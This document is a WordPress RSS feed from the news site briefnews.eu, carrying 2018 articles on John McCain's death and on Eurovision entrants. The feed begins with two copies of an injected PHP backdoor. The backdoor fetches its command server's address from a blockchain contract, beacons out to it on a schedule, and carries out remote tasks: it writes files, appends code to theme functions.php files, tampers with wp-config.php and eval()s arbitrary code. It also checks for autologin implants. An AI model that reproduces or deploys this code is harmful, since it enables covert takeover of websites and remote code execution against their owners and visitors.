// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Representing – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 26 Aug 2018 02:44:01 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Representing – Brief News https://briefnews.eu 32 32 ‘Hero & patriot representing our best ideals’: US politicians mourn McCain’s passing https://briefnews.eu/hero-patriot-representing-our-best-ideals-us-politicians-mourn-mccains-passing/ https://briefnews.eu/hero-patriot-representing-our-best-ideals-us-politicians-mourn-mccains-passing/#respond Sun, 26 Aug 2018 02:44:01 +0000 http://briefnews.eu/hero-patriot-representing-our-best-ideals-us-politicians-mourn-mccains-passing/

Despite being pre-emptively ‘disinvited’ by McCain from his funeral, Donald Trump has expressed his condolences, joining a long list of US politicians praising the late John McCain’s patriotism, heroism and high morals.

“Our hearts and prayers are with you!” Trump tweeted after McCain’s family announced the senator’s death. Recalling John McCain’s six-decade service to the nation, many US politicians called the Republican a true “patriot” and a “war hero.” Others noted the 81-year-olds “dignity” and “values” that were cherished by all Americans.

“We have lost a man who steadfastly represented the best ideals of our country,” Defense Secretary James Mattis said in a statement.

Sen. Bernie Sanders also called McCain his “friend” and an “American” hero”, noting the politician’s “decency and honor.” “He will be missed not just in the U.S. Senate but by all Americans who respect integrity and independence,” the Vermont senator said.

Republican Party chair Ronna McDaniel noted that McCain was a strong supporter of American leadership in the world, as well as a “tireless champion of our nation’s troops and veterans.”

The US lost “one its most distinguished men of gallantry,” former National Security Advisor Colin Powell noted. The retired four-star general and a long time friend of the Senator highlighted McCain’s toughness, demonstrated when he was a prisoner of war in Vietnam.

While the political community paid its respect to the 36-year veteran of Capitol Hill, those closest to Sen. McCain shared their personal sadness.

“My heart is broken,” his wife Cindy said. “I am so lucky to have lived the adventure of loving this incredible man for 38 years. He passed the way he lived, on his own terms, surrounded by the people he loved, in the place he loved best.”

READ MORE: Senator John McCain dies of brain cancer aged 81

“My father is gone, and I miss him as only an adoring daughter can,” his daughter Meghan said, in a long, heartfelt statement. “I was with my father at his end, as he was with me at my beginning…he showed me what it is to be a man.”

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Eurovision 2018 Lithuania: Who is representing Lithuania? Who is Ieva Zasimauskaitė? https://briefnews.eu/eurovision-2018-lithuania-who-is-representing-lithuania-who-is-ieva-zasimauskaite/ https://briefnews.eu/eurovision-2018-lithuania-who-is-representing-lithuania-who-is-ieva-zasimauskaite/#respond Thu, 10 May 2018 16:08:28 +0000 http://briefnews.eu/eurovision-2018-lithuania-who-is-representing-lithuania-who-is-ieva-zasimauskaite/

Who is representing Lithuania at Eurovision 2018?

Representing Lithuania at this year’s Eurovision Song Contest is singer Ieva Zasimauskaitė.

The 24-year-old vocalist will be performing the song When We’re Old.

Well known in Lithuania, the singer has attempted to represent her country five times before she was successful this year.

The Kaunas native won the country’s national Eurovision selection competition earlier this year

With a prolific music career behind her, Ieva is no stranger to performing on stage.

On taking to the stage she said: “I’m not thinking about [how many people will be watching] for me I think I feel much more inspiration when there is a lot of people.

WHO IS REPRESENTING SWEDEN IN EUROVISION 2018?

She even participated in the Junior Eurovision Song Contest as a backing vocalist when she was just 13 years old.

Ieva’s solo career took off in 2012 when she finished second at The Voice of Lithuania.

Speaking ahead of the competition to Eurovision Radio International, Ieva said she is “really excited”.

“I’m really excited and I cannot believe that I will be representing my country – It’s very strange for me that it’s happening.”

WHO IS REPRESENTING SPAIN IN EUROVISION 2018?

“For me, the more people there are the more I can give. The most important thing for me is to prepare and just be myself.”

Ieva has already given a heartfelt performance at the rehearsals in Lisbon this week and is currently at odds of 10/1 of winning the competition outright.

Speaking exclusively to Express.co.uk, Betfair spokesperson Katie Bayliss said: “Lithuania’s odds have been all over the place with their slow ballad originally at 66/1.

“But we’ve seen a lot of money for them in the past week and they are now down to 10/1 fifth favourites and look to have a decent shot at victory.”

What is Lithuania’s Eurovision 2018 song?

Ieva Zasimauskaitė will be singing the song When We’re Old for Lithuania on Saturday night.

The song is in English which gives it a better shot of winning.

Penned by well-known Lithuanian composer Vytautas Bikus, the song is a heartfelt declaration of love and a moving ballad.

Bikus has worked with famous Lithuanian artists and has written, produced and co-produced many chart-topping hits in his country.

HOW TO WATCH EUROVISION 2018 ONLINE

He also works as one of the music producers on The X Factor in Lithuania and writes music for film and television.

He also wrote the song This Time which was performed by Vaidas Baumila and Monika Linkytė at the 2015 Eurovision Song Contest.

The Eurovision 2018 Grand Final is taking place on May 12

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Eurovision 2018 Sweden: Who is representing Sweden? Who is Benjamin Ingrosso? https://briefnews.eu/eurovision-2018-sweden-who-is-representing-sweden-who-is-benjamin-ingrosso/ https://briefnews.eu/eurovision-2018-sweden-who-is-representing-sweden-who-is-benjamin-ingrosso/#respond Thu, 10 May 2018 13:45:29 +0000 http://briefnews.eu/eurovision-2018-sweden-who-is-representing-sweden-who-is-benjamin-ingrosso/

Who is representing Sweden at Eurovision 2018?

Representing Sweden at this year’s Eurovision Song Contest is singer Benjamin Ingrosso.

The 20-year-old vocalist will be performing the song Dance You Off.

Well-known in his native Sweden, the singer participated in national talent contest Let’s Dance in 2014 and on Melodifestivalen in 2017 and 2018.

The latter is the country’s contest which determines who will be sent to represent Sweden in the Eurovision each year.

After an unsuccessful run in 2017, Ingrosso was chosen by the public for this year’s competition back in January.

WHO IS REPRESENTING SPAIN IN EUROVISION 2018?

According to Eurovision: “Born in Sweden on the outskirts of Stockholm and raised with a strong tie to his Italian heritage, it didn’t take long for Benjamin to find his feet within the world of entertainment.

“The self-trained pianist and guitarist spent his early childhood crafting his ear and eye for songmanship.

“It served him well, for by the age of nine he had already penned his first gold-certified hit.”

The prolific young artist takes inspiration from greats such as Hall & Oates, Stevie Wonder and Michael Jackson.

EUROVISION 2018: WHO IS ISRAEL’S ENTRY?

Speaking about his music style he said: “There’s a lot more ways to show the world what you’re all about.

“I don’t want to just be an artist. I want to be an entertainer.

“The number has to be something you really want to see and hear. It’s an experience that can play with all the senses.”

Ingrosso is one of Sweden’s most popular artists at the moment with a number of hist singles in the charts such as One More Time and Good Lovin’.

HOW TO WATCH EUROVISION 2018 ONLINE

Currently, Betfair places Sweden at 14/1 odds of winning the entire Eurovision on Saturday.

Ingrosso wowed fans on stage at rehearsals this week with an impressive light show.

Bet fair spokesperson Katie Bayliss told Express.co.uk: “With the news that former Eurovision winners and possibly the most successful contestants ever – ABBA are reuniting this year, there could be plenty of talk around Sweden this weekend.

“They are currently 14/1 sixth favourites, with their odds having shortened from an opening 25/1.”

WHO IS REPRESENTING FRANCE IN EUROVISION 2018?

What is Sweden’s Eurovision 2018 song?

Benjamin Ingrosso will be performing his upbeat pop hit, Dance You Off.

The lyrics will be sung in English which increases his chances of winning overall.

It was penned by songwriters Louis Schoorl, K Nita and Marco Daniel Borrero.

Schoorl has worked with The Veronicas, K Nita has collaborated with Drake and Kanye West, and Borrero has teamed up with Zara Larsson.

The Eurovision Song Contest 2018 is taking place on May 12

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Eurovision 2018 Germany: Who is representing Germany? Who is Michael Schulte? https://briefnews.eu/eurovision-2018-germany-who-is-representing-germany-who-is-michael-schulte/ https://briefnews.eu/eurovision-2018-germany-who-is-representing-germany-who-is-michael-schulte/#respond Wed, 09 May 2018 11:30:43 +0000 http://briefnews.eu/eurovision-2018-germany-who-is-representing-germany-who-is-michael-schulte/

The 63rd Eurovision Song Contest grand final will be held on Saturday, May 12 at 8pm BST (9pm CEST).

Portugal will be hosting this year’s Eurovision at the Altice Arena in the capital Lisbon.

Since 2011 the so-called “big five” – comprising of France, Germany, Italy, Spain and the UK – is automatically fast-tracked straight to the final.

Due to a new rule created in 2000, those countries that make the biggest financial contribution to the annual music every year are in the final.

The host nation also qualifies for the final, which this year is Portugal.

This year will see 26 nations competing in the final with the other 20 contestants selected through two semi-finals held during the week.

WHO WILL WIN EUROVISION 2018?

Who is representing Germany at Eurovision 2018?

Germany is being represented by entrant Michael Schulte, who will be performing You Let Me Walk Alone.

The 28-year-old star started out as a YouTube singer, performing covers of popular songs and uploading them to his channel on the video hosting site.

Since 2007 he’s grown his channel to over 200,000 subscribers and with his videos getting over 50 million views.

He is already a star in his native Germany and appears to the nation’s answer to Ed Sheeran.

To date he’s released three studio albums Wide Awake (2012), The Arising (2014) and Hold the Rhythm (2017).

Most recently he released the compilation record Dreamer, which features his Eurovision song.

Schulte was invited by broadcaster ARD German TV to take part in the official Eurovision national selection process and came out as the unanimous winner.

HOW TO WATCH EUROVISION 2018 ONLINE

What is Germany’s Eurovision 2018 song?

Germany’s Eurovision song You Let Me Walk Alone was co-written by Schulte and Thomas Stengaard, Katharina Müller and Nisse Ingwersen.

The track is a deeply personal one for Schulte and explores his feelings following the death of his father as a teen.

A bio on the official Eurovision website reads: “The thoughts, emotions and problems one has to face when a parent passes away too soon – Michael was only 14 years old at the time.

“Now, 13 years later, he is stronger, more determined than ever.”

HOW TO VOTE IN EUROVISION 2018

While Germany isn’t the favourite to win – he’s been given odds of 66/1 by Betfair and Betfred – his song is proving popular.

